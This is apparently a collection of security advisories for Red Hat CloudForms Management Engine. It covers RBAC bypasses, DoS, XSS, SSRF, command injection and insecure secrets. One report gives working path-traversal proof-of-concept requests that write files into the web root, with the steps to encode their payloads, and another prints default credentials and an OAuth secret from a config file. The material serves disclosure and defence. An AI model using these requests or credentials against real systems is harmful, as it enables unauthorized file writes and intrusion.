A insecure configuration for certificate verification (http.verifymode = OpenSSL::SSL::VERIFYNONE) may lead to verification bypass in Red Hat CloudForms 5.x.
Aaron Patterson of Red Hat reports:
There are a number of locations in the code where .tosym is called on user supplied code, resulting in a potential DoS condition as an attacker can insert symbols that are never garbage collected.
Jan Rusnacko of Red Hat reports:
current CFME code contains dangerous send in cfme/vmdb/app/controllers/applicationcontroller/performance.rb :
747: prpt.whereclause[2] = @perfrecord.send(@perfoptions[:parent].underscore).id
This calls .send method on @perfrecord, with argument @perfoptions[:parent], which is supplied by user:
29: @perfoptions[:parent] = params[:compareto].blank? ? nil : params[:compareto] if params.haskey?(:compareto)
CFME (CloudForms Management Engine) 5: RHN account information is logged to topoutput.log during registration
The (1) get and (2) log methods in the AgentController in Red Hat CloudForms 3.0 Management Engine (CFME) 5.x allow remote attackers to insert arbitrary text into log files via unspecified vectors.
IssueDescription:
It was found that Red Hat CloudForms exposed default routes that were reachable via HTTP(S) requests. An authenticated user could use this flaw to access potentially sensitive controllers and actions that would allow for privilege escalation.
Jan Rusnacko of the Red Hat Product Security Team reports:
CFME contains an authorization bypass issue in the action rbacuseredit, which allows authenticated users with minimal privileges to gain access to additional privileges.
The problem is in the method checkprivileges in vmdb/app/controllers/applicationcontroller.rb:
def checkgenericrbac ident = "#{controllername}#{actionname}"
if MiqProductFeature.featureexists?(ident) passed = roleallows(:feature => ident, :any => true) unless passed if request.xmlhttprequest? render :update do |page| page.redirectto :controller => 'dashboard', :action => 'autherror' end else redirectto(:controller => 'dashboard', :action => 'autherror') end end passed else validateroute(controllername, request.env['REQUESTMETHOD'], actionname) end end
Since there is no else branch for the "if MiqProductFeature.featureexists?(ident)", any feature that is missing from the list of known features, will be allowed by default. One of these such features is opsrbacuseredit.
This is the same exact place in code that is causing CVE-2014-0078, however, the fix for this issue solves only CVE-2014-0078, not the problem itself. After the fix is applied, privileges for xbutton are checked, but other actions like rbacuseredit are allowed by default.
It is reported that CloudForms fails to protect potentially sensitive data stored in the backend PostgreSQL database. This is due to encrypted data being decrypted and then stashed in data structures which may be inadvertently exposed (e.g. through database log files).
A flaw was found in the CloudForms API before 5.6.3.0, 5.7.3.1 and 5.8.1.2. A user with permissions to use the MiqReportResults capability within the API could potentially view data from other tenants or groups to which they should not have access.
Red Hat CloudForms Management Engine 4.1 does not properly handle regular expressions passed to the expression engine via the JSON API and the web-based UI, which allows remote authenticated users to execute arbitrary shell commands by leveraging the ability to view and filter collections.
It was found that the CloudForms before 5.6.2.2, and 5.7.0.7 did not properly apply permissions controls to VM IDs passed by users. A remote, authenticated attacker could use this flaw to execute arbitrary VMs on systems managed by CloudForms if they know the ID of the VM.
A code injection flaw was found in the way capacity and utilization imported control files are processed. A remote, authenticated attacker with access to the capacity and utilization feature could use this flaw to execute arbitrary code as the user CFME runs as.
CloudForms Management Engine before 5.8 includes a default SSL/TLS certificate.
Internally CFME uses AES-256-CBC encryption to encrypt important data before it is saved in the database. This encryption mode is vulnerable to padding oracle attack and CFME does allow attacker to submit forged ciphertexts for encryption and observe the result.
A flaw was found in the CloudForms web interface, versions 5.8 - 5.10, where the RSS feed URLs are not properly restricted to authenticated users only. An attacker could use this flaw to view potentially sensitive information from CloudForms including data such as newly created virtual machines.
A cross-site script vulnerability was found in CloudForms 5.9.0.10 self-service UI snapshot feature.
CloudForms Management Engine (cfme) before 5.7.3 and 5.8.x before 5.8.1 lacks RBAC controls on certain methods in the rails application portion of CloudForms. An attacker with access could use a variety of methods within the rails application portion of CloudForms to escalate privileges.
A number of unused delete routes are present in CloudForms before 5.7.2.1 which can be accessed via GET requests instead of just POST requests. This could allow an attacker to bypass the protectfromforgery XSRF protection causing the routes to be used. This attack would require additional cross-site scripting or similar attacks in order to execute.
A logic error in validrole() in CloudForms role validation before 5.7.1.3 could allow a tenant administrator to create groups with a higher privilege level than the tenant administrator should have. This would allow an attacker with tenant administration access to elevate privileges.
It was found that CloudForms does not verify that the server hostname matches the domain name in the certificate when using a custom CA and communicating with Red Hat Virtualization (RHEV) and OpenShift. This would allow an attacker to spoof RHEV or OpenShift systems and potentially harvest sensitive information from CloudForms.
A flaw was found in the CloudForms management engine version 5.10 and CloudForms management version 5.11, which triggered remote code execution through NFS schedule backup. An attacker logged into the management console could use this flaw to execute arbitrary shell commands on the CloudForms server as root.
A stored cross-site scripting (XSS) vulnerability was found in the PDF export component of CloudForms, versions 5.9 and 5.10, due to user input is not properly sanitized. An attacker with least privilege to edit compute is able to execute a XSS attack against other users, which could lead to malicious code execution and extraction of the anti-CSRF token of higher privileged users.
Red Hat CloudForms 4.7 and 5 was vulnerable to Server-Side Request Forgery (SSRF) flaw. With the access to add Ansible Tower provider, an attacker could scan and attack systems from the internal network which are not normally accessible.
A high severity vulnerability was found in all active versions of Red Hat CloudForms before 5.11.7.0. The out of band OS command injection vulnerability can be exploited by authenticated attacker while setuping conversion host through Infrastructure Migration Solution. This flaw allows attacker to execute arbitrary commands on CloudForms server.
Ramon de C Valle (rcvalle) reports:
Multiple path traversal exist within the
1) log method of AgentController controller of CFME. The log method can be accessed directly at http://host/agent/log.
The log method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data.
In vmdb/app/controllers/agentcontroller.rb:56:
data = MIQEncode.decode(params["data"]) file = File.join(proxy.logdir, params["filename"]) options = params["options"] $log.info "MIQ(agent-log): [#{options.inspect}]" unless params["options"].nil?
File.delete(file) if File.exists?(file) $log.info "MIQ(agent-log): Create file: #{file}" File.open(file, "wb") {|f| f.write(data)}
This vulnerability can be exploited by sending a specially crafted request containing a valid host guid that has at least one associated proxy. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory.
https://host/agent/log?&id=8dfc29fe-a118-11e2-805c-005056920a2c&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJwrKM9LTQEABokCHw==
Where id is a valid host guid that has at least one associated proxy, and data is encoded as follows:
[rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate('pwned')].pack('m') => "eJwrKM9LTQEABokCHw==\n" irb(main):003:0>
Additionaly, the file modification time can also be specified with the user-supplied mtime parameter which is set by the log method after the file is created. This could be used for hiding the file from searches for newly created files.
2) upload method of AgentController controller of CFME. The upload method can be accessed directly at http://host/agent/upload.
The upload method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data.
In vmdb/app/controllers/agentcontroller.rb:102:
file = File.join(mediadir, params["filename"]) md5 = Digest::MD5.hexdigest(data).tos raise "upoload of file #{file} failed, md5 mismatch, expected #{params["md5"]}, got #{md5}" if params["md5"] != md5
$log.info "MIQ(agent-upload): Saving agent file: #{file}" File.delete(file) if File.exists?(file) $log.info "MIQ(agent-upload): Create file: #{file}" File.open(file, "wb") {|f| f.write(data); f.close}
This vulnerability can be exploited by sending a specially crafted request containing a valid platform in the first 4 bytes of the data parameter, the MD5 checksum of the data parameter, and any numeric value as the agent version. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory.
https://host/agent/upload?&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJyrd/VxKyjPS00BABDkA3U=&md5=b131830a18266f83111d9149adb6451d&version=1
Where data is encoded as follows:
[rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate("\x7f\x45\x4c\x46pwned")].pack('m') => "eJyrd/VxKyjPS00BABDkA3U=\n"
And md5 as follows:
irb(main):003:0> require 'digest/md5' => true irb(main):004:0> Digest::MD5.hexdigest("\x7f\x45\x4c\x46pwned") => "b131830a18266f83111d9149adb6451d"
3) linuxpkgs method of AgentController controller of CFME. The log method can be accessed directly at http://host/agent/linuxpkgs.
The linuxpkgs method deletes (if the file exists) and creates a file using the user-controlled filename parameter without sanitizing it. The contents of the file are subsequently written as the user-controlled data parameter as ZIP encoded data.
In vmdb/app/controllers/agentcontroller.rb:119:
filename = params["filename"] datadir = File.join(File.expandpath(Rails.root), "data", "applications") Dir.mkdir datadir unless File.exists?(datadir)
file = File.join(datadir, filename) data = MIQEncode.decode(params["data"]) md5 = Digest::MD5.hexdigest(data).tos
raise "upoload of file #{file} failed, md5 mismatch, expected #{params["md5"]}, got #{md5}" if params["md5"] != md5
File.delete(file) if File.exists?(file) $log.info "MIQ(agent-upload): Create file: #{file}" File.open(file, "wb") {|f| f.write(data); f.close}
This vulnerability can be exploited by sending a specially crafted request containing the MD5 checksum of the data parameter. For instance, the following GET request creates the file pwned.txt containing the word 'pwned' at the /var/www/miq/vmdb/public/ directory.
https://host/agent/linuxpkgs?&filename=../../../../../../../../../var/www/miq/vmdb/public/pwned.txt&data=eJwrKM9LTQEABokCHw==&md5=5e93de3efa544e85dcd6311732d28f95
Where data is encoded as follows:
[rcvalle@ThinkPad ~]$ irb irb(main):001:0> require 'zlib' => true irb(main):002:0> [Zlib::Deflate.deflate('pwned')].pack('m') => "eJwrKM9LTQEABokCHw==\n"
And md5 as follows:
irb(main):003:0> require 'digest/md5' => true irb(main):004:0> Digest::MD5.hexdigest('pwned') => "5e93de3efa544e85dcd6311732d28f95"
James Laska (jlaska) reports:
While filing an upstream bug regarding CFME not sanitizing user-input, I discovered it is possible to remotely inject ruby code.
Ruby on Rails uses a HMAC for verifying the integrity of signed cookies. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
It was found that CloudForms Management Engine (CFME) is using a statically defined secret, which is common across all deployments. A remote attacker could use this statically defined secret to perform a session tampering attack.
External references:
http://blog.phusion.nl/2013/01/04/securing-the-rails-session-secret/ http://blog.mhartl.com/2008/08/15/a-security-issue-with-rails-secret-session-keys/
Jan Rusnacko of the Red Hat Product Security Team reports:
Under certain circumstances waitfortask CFME goes into an infinite loop calling waitfortask for ~10 sec until it throws an exception. If called repeatedly an attacker can effectively DoS the server.
Jan Rusnacko of the Red Hat Product Security Team reports:
CFME fails to check if the current user is allowed to delete catalogs. Regular user with minimal privileges will not see Catalog menu, as role based check is performed in view (layouts/pageheadernavbar.html.haml):
45 -if roleallows(:feature => 'catalog',:any => true) 46 %li(class="#{secondarynavclass('catalogs')}") 47 %a{:href=>'/catalog/explorer'}Catalogs
In the context of running application:
(rdb:1) User.currentuser.name "testuser1" (rdb:1) roleallows(:feature => 'catalog',:any => true) false
By POSTing a request and going through catalog IDs sequentially an attacker can delete all catalogs.
During an audit of file permissions within CloudForms it was found that the /etc/pulp/pulp.conf is world readable. This file can contain the following sensitive information:
defaultpassword: default password for admin Highly recommend changing the defaultpassword with "pulp-admin user update" [server] ... defaultlogin: admin defaultpassword: CVkiDB/JKHhHp7+PlkfaqizG ... oauthkey: katello oauthsecret: zH9ZXu6JhDwlx9GjshbFaa0Q
This file should not be world readable, it should only be readable by the user/group that pulp runs as.